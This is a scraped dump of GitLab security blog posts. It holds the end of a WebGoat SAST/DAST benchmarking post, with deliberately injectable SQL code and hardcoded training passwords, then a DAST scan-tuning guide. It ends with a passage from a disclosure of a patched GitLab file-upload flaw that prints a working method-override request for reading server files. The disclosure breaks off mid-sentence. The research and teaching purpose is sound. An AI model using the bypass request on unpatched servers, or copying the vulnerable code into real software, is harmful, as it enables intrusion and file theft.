(!\"Larry\".equals(username_login)) {\n            return failed(this).feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n        }\n        try (var connection = dataSource.getConnection()) {\n            PreparedStatement statement = connection.prepareStatement(\"select password from challenge_users where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n            ResultSet resultSet = statement.executeQuery();\n\n            if (resultSet.next()) {\n                return success(this).feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n            } else {\n                return failed(this).feedback(\"challenge.close\").build();\n            }\n        }\n    }\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nWhile the SQL query is a prepared statement, `username_login` and `password_login` fields are dynamically inserted into the query statement. A SAST tool should identify that the query string is concatenated with user input on line 59.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely not find this vulnerability due to the username being checked against the hardcoded `Larry` value. A DAST tool would need to be configured for this particular page to use the `Larry` username, and then attempt SQL Injection.\n\n---\n\n### Challenges > Admin password reset\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge7.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java\n\n**Challenge:**\n\nThe purpose of this challenge is to find the synthetic `.git` repository accessible at the `/WebGoat/challenge/7/.git` endpoint. Then extract the git files, decompile classes and run them to generate the password reset link password. \n\n```\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java#L76-80\n\n@GetMapping(value = \"/challenge/7/.git\", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)\n@ResponseBody\npublic ClassPathResource git() {\n    return new ClassPathResource(\"challenge7/git.zip\");\n}\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java#L34-36\n\nString PASSWORD = \"!!webgoat_admin_1234!!\";\nString PASSWORD_TOM = \"thisisasecretfortomonly\";\nString ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Possible (different issue)\n\n**SAST Reasoning:**\n\nThis is a fake vulnerability that hard codes a git index file to a spring `GetMapping` endpoint. However, a SAST tool would most likely flag the hardcoded credentials in `SolutionConstants.java` on line 36.\n\n**DAST Reasoning:**\n\nDAST tools commonly look for backup or known files, `.git` is usually ne of them. A DAST tool would attempt to find these files in each directory path and should report that the `/WebGoat/challenge/7/.git` git index is accessible. While it may attempt to decompile classes it would be unable to know that it's necessary to run a particular file.\n\n---\n\n### Challenges > Without account\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge8.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge8/Assignment8.java\n\n**Challenge:**\n\nThe purpose of this challenge is to add a vote without logging in. This is a synthetic vulnerability due to the fact that it only checks if the request is a `GET` request but there's no real authorization checks. It is \"exploitable\" because it does not account for `HEAD` request method types.\n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java#L76-80\n\n@GetMapping(value = \"/challenge/8/vote/{stars}\", produces = MediaType.APPLICATION_JSON_VALUE)\n    @ResponseBody\n    public ResponseEntity\u003C?> vote(@PathVariable(value = \"stars\") int nrOfStars, HttpServletRequest request) {\n        //Simple implementation of VERB Based Authentication\n        String msg = \"\";\n        if (request.getMethod().equals(\"GET\")) {\n            var json = Map.of(\"error\", true, \"message\", \"Sorry but you need to login first in order to vote\");\n            return ResponseEntity.status(200).body(json);\n        }\n        Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);\n        votes.put(nrOfStars, allVotesForStar + 1);\n        return ResponseEntity.ok().header(\"X-Flag\", \"Thanks for voting, your flag is: \" + Flag.FLAGS.get(8)).build();\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nSince this is a synthetic vulnerability with no references to any authorization frameworks, there is nothing for a SAST tool to look for.\n\n**DAST Reasoning:**\n\nA DAST tool may attempt to switch request method types and do differential analysis to see if a `HEAD` request illicit a different response than a `GET` request.\n\n---\n\n\u003C/details>\n\n## Flaws outside of lessons\n\nThere are a large number of flaws that are not necessarily part of the lesson. However, SAST and DAST tools may still report on these issues as they are exploitable. \n\nSince tools will report on these issues, it is important to have a full set of all actual vulnerabilities that exist in WebGoat, or in any system used for benchmarking. \n\n## Conclusion\n\nWhile in GitLab's proprietary format, we decided to release our results so that other organizations using WebGoat as a target can identify which flaws are legitimate for both [SAST](https://gitlab.com/gitlab-org/vulnerability-research/blog/-/blob/master/security-benchmarking-webgoat/webgoat-expected-sast-results.json) and [DAST](https://gitlab.com/gitlab-org/vulnerability-research/blog/-/blob/master/security-benchmarking-webgoat/webgoat-expected-dast-results.json) based discovery. \n\nWebGoat is an excellent tool for learning about web application security. If your organization decides to use it to compare DAST and SAST tools you must be aware of the limitations and caveats during your analysis. \n\nWebGoat is by no means a \"real application\", while it does contain a common structure of a Spring Boot based application, its flaws are sometimes synthetic and code flow is not indicative of how real applications are built.\n\nGitLab recommends using more than one application as apart of your benchmarking process. This should include multiple languages, features and the levels of complexity that matches the applications used in your organization.\n\nCover image by [Bannon Morrissy](https://unsplash.com/@bannon15) on [Unsplash](https://unsplash.com)",[678,9,762],"testing",{"slug":764,"featured":6,"template":683},"how-to-benchmark-security-tools","content:en-us:blog:how-to-benchmark-security-tools.yml","How To Benchmark Security Tools","en-us/blog/how-to-benchmark-security-tools.yml","en-us/blog/how-to-benchmark-security-tools",{"_path":770,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":771,"content":777,"config":784,"_id":786,"_type":14,"title":787,"_source":16,"_file":788,"_stem":789,"_extension":19},"/en-us/blog/how-to-configure-dast-full-scans-for-complex-web-applications",{"title":772,"description":773,"ogTitle":772,"ogDescription":773,"noIndex":6,"ogImage":774,"ogUrl":775,"ogSiteName":670,"ogType":671,"canonicalUrls":775,"schema":776},"How to configure DAST full scans for complex web applications","Keep your DAST job within timeout limits and fine-tune job configurations for better results","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679617/Blog/Hero%20Images/tuning-237454.jpg","https://about.gitlab.com/blog/how-to-configure-dast-full-scans-for-complex-web-applications","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to configure DAST full scans for complex web applications\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dennis Appelt\"}],\n        \"datePublished\": \"2020-08-31\",\n      }",{"title":772,"description":773,"authors":778,"heroImage":774,"date":780,"body":781,"category":678,"tags":782},[779],"Dennis Appelt","2020-08-31","\n\nShifting [Dynamic Application Security Testing](https://docs.gitlab.com/ee/user/application_security/dast/) (DAST) left can help to detect security vulnerabilities earlier in the software development lifecycle (SDLC). However, testing earlier and more often in the SDLC comes with its own set of challenges: an abundance of alerts from automated security tools and a high computational cost caused by frequent and long-running CI security jobs.\n\nIn this blog post, I’ll walk you through how we configured DAST for the internal pipeline that tests the GitLab web application. We’ll discuss some of the common challenges that you might encounter when testing large applications, such as: \n\n1. How to keep the duration of the DAST scan within an acceptable [job timeout](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout): This matters because jobs that exceed timeouts will fail and no results will be displayed. We will review how to optimize scan duration by excluding low-risk parts of the application from being tested, by correctly seeding your application with test data, and by parallelizing the DAST job.\n\n2. How to get relevant results for your context: This is key – tuning job configurations to produce relevant results allows your engineers to focus on findings that matter and prevents [alert fatigue](https://en.wikipedia.org/wiki/Alarm_fatigue). In this area, we'll discuss criteria for identifing rules that are applicable to your application and we will explain how to disable irrelevant rules.\n\nThe discussed solutions are based on the DAST configuration that we use to test GitLab itself. If you are looking for inspiration on how to configure your own DAST jobs, feel free to take a look at our [configuration](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/dast.gitlab-ci.yml).\n\n## How to set up a simple DAST full scan\n\nKicking off a DAST full scan in GitLab CI is as easy as including the job template and setting a few variables in your `.gitlab-ci.yml` file:\n\n```yaml\ninclude:\n  - template: DAST.gitlab-ci.yml\n\nvariables:\n  DAST_WEBSITE: \"https://my-site.example\"\n  DAST_FULL_SCAN_ENABLED: \"true\"\n  DAST_AUTH_URL: \"https://my-site.example/signin\"\n  DAST_AUTH_USERNAME: “john”\n  DAST_AUTH_PASSWORD: “P@ssw0rd”\n```\nThe variable `DAST_WEBSITE` defines the target website tested by DAST. Setting `DAST_FULL_SCAN_ENABLED: true` instructs DAST to run a [full scan](https://www.zaproxy.org/docs/docker/full-scan/), which is more comprehensive than a [baseline scan](https://www.zaproxy.org/docs/docker/baseline-scan/) and potentially finds more vulnerabilities. There are also other config options that you likely want to define such as authentication-related options (`DAST_AUTH_*`) which are not discussed here. You can check out our DAST [user docs](https://docs.gitlab.com/ee/user/application_security/dast/#available-variables) for a refresher on these config options.\n\nWhen running a DAST full scan against a web application with many pages and input parameters, it is possible that the DAST job will not finish testing the application within the CI job timeout and fail. If this is the case for your DAST job, keep reading to learn about tweaking your job configuration to stay within the timeout.\n\n## How to optimize DAST scan duration\n\nIt is not uncommon that a DAST full scan can take 10 or more hours to complete testing in complex applications. To understand how we can reduce the scan duration, we need to take a closer look at how DAST works internally.\n\nDAST job execution is roughly separated into two phases: A spidering phase and a test execution phase. A DAST job starts with spidering, during which it will detect all pages a web application consists of and identify the input parameters on these pages. The spider recursively discovers all pages of an application by visiting the configured target URL (parameter `DAST_WEBSITE`) and by following all URLs found in the page source. These URLs are in turn also searched for URLs in their page source, any new URLs are followed and so on. In a DAST full scan, this procedure is typically repeated until all discovered URLs have been visited.\n\nIn the test execution phase, test rules are executed against the target application to find vulnerabilities. Most of the rules are executed for any of the discovered pages in the spidering phase, leading to a direct relation between the number of executed test cases and the number of discovered pages.\n\nSome rules check for specific CVEs such as [Heartbleed](https://www.zaproxy.org/docs/alerts/20015/) while others are only applicable to applications written in specific languages such as [Java](https://www.zaproxy.org/docs/alerts/90002/), [ASP.net](https://www.zaproxy.org/docs/alerts/10061/), and so on. A DAST full scan will, by default, execute all rules even if the target application’s tech stack is not affected by the vulnerability being tested for.\n\nTo summarize, you can use the following rule of thumb to estimate a DAST job’s scan duration: Number of Tested Pages **x** Number of Executed Rules. \n\nTo optimize scan duration, we will have to tweak these factors.\n\n### How to reduce the number of tested pages\n\nTo understand which pages of our application are tested we can refer to the job log. The URLs of all tested pages are listed like in the example below.\n\n```\n2020-08-01 00:25:34,454 The following 2903 URLs were scanned:\nGET https://gitlab-review.app\nGET https://gitlab-review.app/*/*.git\nGET https://gitlab-review.app/help\nGET https://gitlab.com/help/user/index.md\n...\n```\n\nBased on this information we can exclude low-risk pages from being tested. For example, for the GitLab web app we decided to [exclude](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/dast.gitlab-ci.yml#L30) any of the [help pages](https://gitlab.com/help). These pages are mostly static and the application code doesn’t process any user-controlled inputs, which rules out attack categories like SQL injection, XSS etc. Excluding these led to 899 URLs less being spidered and tested, reducing the scan duration significantly.\n\nTo exclude low-risk pages from being tested, you can use the environment variable [DAST_AUTH_EXCLUDE_URLS](https://docs.gitlab.com/ee/user/application_security/dast/#available-variables) as mapped out below:\n\n```yaml\nscript:\n  - 'export DAST_AUTH_EXCLUDE_URLS=\"https://gitlab-review.app/help/.*,https://gitlab-review.app/profile/two_factor_auth\"' \n```\n\n`DAST_AUTH_EXCLUDE_URLS` takes a comma-separated list of URLs to exclude. URLs can contain regular expressions, e.g. `https://gitlab-review.app/help/.*` will exclude any URL that starts with `https://gitlab-review.app/help/`.\n\n### How to populate your app with test data\n\nPopulating your application with test data is important because it allows DAST to discover and test all the functionality of your application. At the same time, you want to avoid adding redundant test data to your application, which would lead to DAST exercising the same code repeatedly.\n\nFor example, we can create multiple [projects](https://docs.gitlab.com/ee/user/project/) in a GitLab instance and each project will be accessible via a unique URL, e.g. `https://gitlab.example/awesome-project`, `https://gitlab.example/another-project`, etc. To DAST these look like unrelated pages and it will test each page separately. However, the application code that is processing requests to different projects is largely identical, leading to the same code being tested multiple times. This increases the scan duration and is unlikely to identify more vulnerabilities than testing only a single project would.\n\nIn every pipeline that runs DAST against GitLab, we spin up a fresh GitLab instance as a [review app](https://docs.gitlab.com/ee/ci/review_apps/) and populate it with the test data that we need for the DAST job. If you are looking for a similar solution, you might find the job that is [deploying the review app](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/review.gitlab-ci.yml#L53-83) and seeding it with [test data](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/review.gitlab-ci.yml#L83) interesting.\n\n### Identifying relevant rules for your DAST scan\n\nAs mentioned above, a DAST full scan runs, by default, all rules against any discovered page. Therefore, another way to reduce scan duration is to disable irrelevant rules or rules that you have determined are low-risk for your application context. To determine rule relevance, consider the following:\n\n- Does the rule apply to my web framework?\n- Does the rule apply to my web server?\n- Does the rule apply to my database server?\n- Does the type of vulnerability a rule tests for apply to my application?\n\nFor example, if your application is not built with Java, rules that test for [Java-specific vulnerabilities](https://www.zaproxy.org/docs/alerts/90002/) can be disabled. There are many rules that are specific to a web framework, server, or database being used like [Apache HTTP Server](https://www.zaproxy.org/docs/alerts/10053/), [ASP.NET](https://www.zaproxy.org/docs/alerts/10061/), [PostgreSQL](https://www.zaproxy.org/docs/alerts/40022/) etc. If in doubt around which rule(s) are applicable to which tech stack, you can find the information either in the [ZAP user docs](https://www.zaproxy.org/docs/alerts/) or directly in the [rule implementation](https://github.com/zaproxy/zap-extensions/blob/master/addOns/ascanrules/src/main/java/org/zaproxy/zap/extension/ascanrules/CodeInjectionScanRule.java#L86-L91):\n\n```java\npublic boolean targets(TechSet technologies) {\n    if (technologies.includes(Tech.ASP) || technologies.includes(Tech.PHP)) {\n        return true;\n    }\n    return false;\n}\n```\nNote: Most rules classes have a function `targets` that defines to which technologies a rule is applicable.\n\nAnother example of a rule that might not apply to your application is the [PII Disclosure](https://www.zaproxy.org/docs/alerts/10062/) rule if your application does not process any PII.\n\n### Excluding irrelevant rules\n\nThe execution time of individual rules varies substantially. To understand how much time a particular rule adds to the total scan duration and how much we could gain from disabling it, we turn again to the job log. Each rule prints its duration on completion, for example:\n\n```\n[zap.out] 3937350 [Thread-8] INFO org.parosproxy.paros.core.scanner.HostProcess - completed host/plugin https://gitlab-review.app | TestExternalRedirect in 2813.043s with 33151 message(s) sent and 0 alert\n```\n\nFrom this message we learn that rule `TestExternalRedirect` took 47 minutes to complete, hence disabling this rule reduces the scan duration by about 47 minutes.\n\nWe can disable individual rules with the environment variable `DAST_EXCLUDE_RULES`. Here is an example:\n\n```yaml\nvariables:\n  DAST_EXCLUDE_RULES=”41,42,43,10027,...,90019”\n```\n\n`DAST_EXCLUDE_RULES` takes a comma-separated list of rule ids. You can find the id of a particular rule in the summary printed to the job log:\n\n```\nPASS: External Redirect [20019]\n…\nSUMMARY - PASS: 106 | WARN: 2\n```\n\nWe can see from the log that rule External Redirect, which we found earlier to take 47 minutes, has rule id 20019. To disable this rule in addition to the rules from the previous example, we would need to add it to `DAST_EXCLUDE_RULES` like so: \n\n```yaml\nvariables:\n  DAST_EXCLUDE_RULES=”20019,41,42,43,10027,...,90019”\n```\n### Parallelizing DAST jobs to further reduce pipeline duration\n\nTo reduce the total duration of the pipeline that is running the DAST job, we can split up the rules that we want to execute into multiple DAST jobs and run the jobs in parallel. Below is an example that demonstrates how to split up the rules.\n\n```yaml\n# Any configuration that is shared between jobs goes here\n.dast-conf:\n  image:\n    name: \"registry.gitlab.com/gitlab-org/security-products/dast:1.22.1\"\n  services:\n  - name: \"gitlab/gitlab-ee:nightly\"\n    alias: gitlab\n  script:\n  - /analyze -t \"http://gitlab\"\n\n# First DAST job executing rules 6 to 10\ndast-1/2:\n  extends:\n  - .dast-conf\n  variables:\n    DAST_EXCLUDE_RULES: \"1,2,3,4,5\"\n\n# Second DAST job executing rules 1 to 5\ndast-2/2:\n  extends:\n  - .dast-conf\n  variables:\n    DAST_EXCLUDE_RULES: \"5,6,7,8,9\"\n```\n\nFor the sake of brevity, we assume in the example above that our DAST job runs rules with id 1 to 10. As described in the previous section, refer to the job log to find which rules were executed (we are working on printing a tidy [summary of executed rules](https://gitlab.com/gitlab-org/gitlab/-/issues/230893)). The example defines two DAST jobs `dast-1/2` and `dast-2/2`. `dast-1/2` is excluding rules 1 to 5 and, hence, executes rules 6 to 10. Vice versa, `dast-2/2` is excluding rules 6 to 10 and, hence, executes rules 1 to 5.\n\nFollowing the same pattern, you can split up the rules into as many jobs as necessary, keeping the rules executed in a job mutually exclusive with respect to all other jobs.\n\nNote that new releases of GitLab DAST may contain new rules, which will get executed if the rule ids are not manually added to `DAST_EXCLUDE_RULES`. In the example above, we pinned the version of the DAST image to a specific version using the `image` keyword. This allows us to review new releases manually and adjust `DAST_EXCLUDE_RULES` as necessary before upgrading to a new DAST version.\n\nWhen running multiple DAST jobs in parallel against the same target application, make sure that the application isn’t overloaded and becomes a bottleneck. If you observe connection timeouts in the DAST job logs, chances are your target site is overloaded. To mitigate this issue, consider spinning up additional instances of your target application and distribute the test load among the instances. GitLab CI offers, through the [`services`](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-a-service) keyword, a convenient way of creating a dedicated application instance for each DAST job. In the example above, we start a dedicated GitLab instance for each DAST job with:\n\n```yaml\n  services:\n  - name: \"gitlab/gitlab-ee:nightly\"\n    alias: gitlab\n```\n## Summary\n\nIn this blog post, we walked you through common challenges encountered when testing complex web applications with DAST and solutions that worked well for our internal projects at GitLab. \n\nAs we continue and broaden our use of DAST full scans within GitLab and our Security department, we’re excited to identify vulnerabilities in GitLab earlier in the SDLC and look forward to sharing interesting findings with the community. In addition, we take our lessons learned from setting up DAST full scans back to our engineering team to continue improving user experience. We also plan to explore additional dynamic testing techniques such as [fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) to complement our DAST results.\n\nIs there a problem area that you’ve encountered or solution for fine-tuning DAST full scans we've missed that's worked well for you? We want to hear about it and would love your feedback below in the comments.\n\nCover image by [Pixabay](https://www.pexels.com/@pixabay) on [Pexels](https://www.pexels.com/photo/blur-bowed-stringed-instrument-classic-classical-237454/)\n{: .note}\n",[678,9,783],"open source",{"slug":785,"featured":6,"template":683},"how-to-configure-dast-full-scans-for-complex-web-applications","content:en-us:blog:how-to-configure-dast-full-scans-for-complex-web-applications.yml","How To Configure Dast Full Scans For Complex Web Applications","en-us/blog/how-to-configure-dast-full-scans-for-complex-web-applications.yml","en-us/blog/how-to-configure-dast-full-scans-for-complex-web-applications",{"_path":791,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":792,"content":797,"config":802,"_id":804,"_type":14,"title":805,"_source":16,"_file":806,"_stem":807,"_extension":19},"/en-us/blog/how-to-exploit-parser-differentials",{"title":793,"description":794,"ogTitle":793,"ogDescription":794,"noIndex":6,"ogImage":693,"ogUrl":795,"ogSiteName":670,"ogType":671,"canonicalUrls":795,"schema":796},"How to exploit parser differentials","Your guide to abusing 'language barriers' between web components.","https://about.gitlab.com/blog/how-to-exploit-parser-differentials","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to exploit parser differentials\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2020-03-30\",\n      }",{"title":793,"description":794,"authors":798,"heroImage":693,"date":799,"body":800,"category":678,"tags":801},[698],"2020-03-30","\n\nThe move to microservices-based architecture creates more attack surface for nefarious actors, so when our [security researchers](/handbook/security/#security-research) discovered a file upload vulnerability within GitLab, we patched it right up in our [GitLab 12.7.4 security release](/releases/2020/01/30/security-release-gitlab-12-7-4-released/). We dive deeper into the problems that lead to this vulnerability and use it to illustrate the underlying concept of parser differentials.\n\n## File Uploads in GitLab\n\nTo understand the file upload vulnerability we need to go a bit deeper into file uploads within GitLab, and have a look at the involved components.\n\n### GitLab Workhorse\n\nThe first relevant component is GitLab's very own reverse proxy called [`gitlab-workhorse`](https://gitlab.com/gitlab-org/gitlab-workhorse/).`gitlab-workhorse` fulfills a variety of tasks, but for this specific example we only care about certain kinds of file uploads.\n\nThe second component is [`gitlab-rails`](https://gitlab.com/gitlab-org/gitlab), the Ruby on Rails-based heart of GitLab. It's the main application part of GitLab and implements most of the business logic.\n\nThe following source code excerpts from `gitlab-workhorse` are based on the [`8.18.0`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/tags/v8.18.0) release which was the most recent version at the time of identifying the vulnerability.\n\nConsider the following route, defined in [`internal/upstream/routes.go`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/blob/9a9a83e7f92ceea5fb0e1542d604171c58615e28/internal/upstream/routes.go#L207-208), which handles file uploads for [Conan](https://conan.io/) packages:\n\n```go\n// Conan Artifact Repository\nroute(\"PUT\", apiPattern+`v4/packages/conan/`, filestore.BodyUploader(api, proxy, nil)),\n```\n\nThe route defined above will pass any `PUT` request to paths underneath `/api/v4/packages/conan/` to the [`BodyUploader`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/blob/9a9a83e7f92ceea5fb0e1542d604171c58615e28/internal/filestore/body_uploader.go#L40-79). Within this `BodyUploader` now some magic happens. Well, actually, it's not magic, the `BodyUploader` receives the uploaded file and lets the `gitlab-rails` backend know where the file has been placed. This happens in [`internal/filestore/file_handler.go`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/blob/9a9a83e7f92ceea5fb0e1542d604171c58615e28/internal/filestore/file_handler.go#L52-81).\n\nAlso worth mentioning: Any not-matched routes in `gitlab-workhorse` will be passed on to the backend without modification. That's especially important in our discussion for non-`PUT` routes under `/api/v4/packages/conan/`.\n\n```go\n// GitLabFinalizeFields returns a map with all the fields GitLab Rails needs in order to finalize the upload.\nfunc (fh *FileHandler) GitLabFinalizeFields(prefix string) map[string]string {\n\tdata := make(map[string]string)\n\tkey := func(field string) string {\n\t\tif prefix == \"\" {\n\t\t\treturn field\n\t\t}\n\n\t\treturn fmt.Sprintf(\"%s.%s\", prefix, field)\n\t}\n  \n\tif fh.Name != \"\" {\n\t\tdata[key(\"name\")] = fh.Name\n\t}\n\tif fh.LocalPath != \"\" {\n\t\tdata[key(\"path\")] = fh.LocalPath\n\t}\n\tif fh.RemoteURL != \"\" {\n\t\tdata[key(\"remote_url\")] = fh.RemoteURL\n\t}\n\tif fh.RemoteID != \"\" {\n\t\tdata[key(\"remote_id\")] = fh.RemoteID\n\t}\n\tdata[key(\"size\")] = strconv.FormatInt(fh.Size, 10)\n\tfor hashName, hash := range fh.hashes {\n\t\tdata[key(hashName)] = hash\n\t}\n  \n\treturn data\n}\n```\n\nSo `gitlab-workhorse` will replace the uploaded file name by the path to where it has stored the file on disk, such that the `gitlab-rails` backend knows where to pick it up.\n\nObserve the following original request, as received by `gitlab-workhorse`:\n\n```\nPUT /api/v4/packages/conan/v1/files/Hello/0.1/root+xxxxx/beta/0/export/conanfile.py HTTP/1.1\nHost: localhost\nUser-Agent: Conan/1.22.0 (Python 3.8.1) python-requests/2.22.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-Checksum-Sha1: 93ebaf6e85e8edde99c1ed46eaa1b5e1e5f4ac78\nContent-Length: 1765\nAuthorization: Bearer [.. shortened ..]\n\nfrom conans import ConanFile, CMake, tools\n\n\nclass HelloConan(ConanFile):\n    name = \"Hello\"\n[.. shortened ..]\n```\n\nThis is what this request will look like to `gitlab-rails` after `gitlab-workhorse` has processed it (excerpted from `api_json.log`):\n\n```json\n{\n  \"time\": \"2020-02-20T14:49:44.738Z\",\n  \"severity\": \"INFO\",\n  \"duration\": 201.93,\n  \"db\": 67.34,\n  \"view\": 134.59,\n  \"status\": 200,\n  \"method\": \"PUT\",\n  \"path\": \"/api/v4/packages/conan/v1/files/Hello/0.1/root+xxxxx/beta/0/export/conanfile.py\",\n  \"params\": [\n    {\n      \"key\": \"file.md5\",\n      \"value\": \"719f0319f1fd5f6fcbc2433cc0008817\"\n    },\n    {\n      \"key\": \"file.path\",\n      \"value\": \"/var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads/582573467\"\n    },\n    {\n      \"key\": \"file.sha1\",\n      \"value\": \"93ebaf6e85e8edde99c1ed46eaa1b5e1e5f4ac78\"\n    },\n    {\n      \"key\": \"file.sha256\",\n      \"value\": \"f7059b223cd4d32002e5e34ab1ae5b4ea12f3bd0326589b00d5e910ce02c1f3a\"\n    },\n    {\n      \"key\": \"file.sha512\",\n      \"value\": \"efbe75ea58bd817d42fd9ca5ac556abd6fbe3236f66dfad81d508b5860252d32d1b1868ee03c7f4c6174a0ba6cc920a574b5865ca509f36c451113c9108f9a36\"\n    },\n    {\n      \"key\": \"file.size\",\n      \"value\": \"1765\"\n    }\n  ],\n  \"host\": \"localhost\",\n  \"remote_ip\": \"172.17.0.1, 127.0.0.1\",\n  \"ua\": \"Conan/1.22.0 (Python 3.8.1) python-requests/2.22.0\",\n  \"route\": \"/api/:version/packages/conan/v1/files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision/export/:file_name\",\n  \"user_id\": 1,\n  \"username\": \"root\",\n  \"queue_duration\": 16.59,\n  \"correlation_id\": \"aSEqrgEfvX9\"\n}\n```\n\nIn particular, the `params` entry `file.path` is of interest, as it denotes the file system path where `gitlab-workhorse` has placed the uploaded file.\n\n### `gitlab-rails`\nThis `gitlab-workhorse`-modified request, as `gitlab-rails` will see it, is handled in [`lib/uploaded_file.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/v12.7.4-ee/lib/uploaded_file.rb#L45-66) within the `from_params` method:\n\n```ruby\n01  def self.from_params(params, field, upload_paths)\n02    path = params[\"#{field}.path\"]\n03    remote_id = params[\"#{field}.remote_id\"]\n04    return if path.blank? && remote_id.blank?\n05\n06    file_path = nil\n07    if path\n08      file_path = File.realpath(path)\n09\n10      paths = Array(upload_paths) \u003C\u003C Dir.tmpdir\n11      unless self.allowed_path?(file_path, paths.compact)\n12        raise InvalidPathError, \"insecure path used '#{file_path}'\"\n13      end\n14    end\n15\n16    UploadedFile.new(file_path,\n17      filename: params[\"#{field}.name\"],\n18      content_type: params[\"#{field}.type\"] || 'application/octet-stream',\n19      sha256: params[\"#{field}.sha256\"],\n20      remote_id: remote_id,\n21      size: params[\"#{field}.size\"])\n22  end\n```\nWe can see here the handling of the uploaded file reference. The part in line `10-13` in the snippet above implements a whitelist of a specific set of paths from where a `gitlab-workhorse` uploaded file will be accepted.`Dir.tmpdir` which resolves to the path `/tmp` is added to the whitelist as well. In the subsequent lines a new `UploadedFile` is constructed from the `file.path` and other parameters `gitlab-workhorse` has set.\n\n## `gitlab-workhorse` bypass\n\nSo we've seen the inner workings of both `gitlab-workhorse` and `gitlab-rails` when it comes to file uploads for Conan packages. In recap it would go as follows:\n\n```mermaid\nsequenceDiagram\n    participant User\n    participant workhorse\n    participant Rails\n    User->>workhorse: PUT request to conan registry\n    workhorse->>workhorse: Place uploaded file on disk and re-write PUT request\n    workhorse->>Rails: Pass on modified PUT request\n    Rails->>Rails: Pick up file from disk and store in UploadedFile\n```\n\nFrom an attacker perspective it would be nice to meddle with the modified `PUT` request, especially control over the `file.path` parameter would allow us to grab arbitrary files from `/tmp` and the defined `upload_paths`. But as `gitlab-workhorse` sits right in front of `gitlab-rails` we can't just pass those parameters or otherwise interact directly with `gitlab-rails` without going via `gitlab-workhorse`.\n\nWe can indeed achieve this by leveraging the fact that `gitlab-workhorse` parses the HTTP requests in a different way than `gitlab-rails` does. In particular, we can use [`Rack::MethodOverride`](https://www.rubydoc.info/gems/rack/Rack/MethodOverride) in `gitlab-rails` which is a default middleware in Ruby on Rails applications. The `Rack::MethodOverride` middleware allows us to send a `POST` request and let `gitlab-rails` know **\"well, actually this is a `PUT` request! ¯\\\\\\_(ツ)\\_/¯ \"**. With this little trick we can sneak past the `gitlab-workhorse` route which would intercept the `PUT` request, as `gitlab-workhorse` is not aware of the overridden `POST` method. So by specifying either a `_method=PUT` parameter or a `X-HTTP-METHOD-OVERRIDE: PUT` HTTP header we can indeed directly point `gitlab-rails` to files on disk. The method override is used a lot in Ruby on Rails applications to allow simple `\u003Cform>` based `POST` requests to use other [`REST`](https://de.wikipedia.org/wiki/Representational_State_Transfer)-based methods like `PUT` and `DELETE` by overriding the `\u003Cform>`s `POST` request with the `_method` parameter.\n\nSo a `POST` request to the right Conan endpoint with a `file.path` and `file.size` parameter will do the trick.\nA full request using this bypass would look like this:\n\n```\nPOST /api/v4/packages/conan/v1/files/Hello/0.1/lol+wat/beta/0/export/conanmanifest.txt?file.size=4&file.path=/tmp/test1234 HTTP/1.1\nHost: localhost\nUser-Agent: Conan/1.21.0 (Python 3.8.1) python-requests/2.22.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-HTTP-Method-Override: PUT\nX-Checksum-Deploy: true\nX-Checksum-Sha1: ee96149f7b93af931d4548e9562484bdb6ac8fda\nContent-Length: 4\nAuthorization: Bearer [.. shortened ..]\n\nasdf\n```\n\nThis would, instead of uploading a file, let us get a hold of the file `/tmp/test1234` from the GitLab server's file system. In recap, the flow to exploit this issue looks as follows:\n\n```mermaid\nsequenceDiagram\n    participant User\n    participant workhorse\n    participant Rails\n    User->>workhorse: POST request to conan registry\n    workhorse->>workhorse: Route does not match anything\n    workhorse->>Rails: Pass on unmodified POST request\n    Rails->>Rails: 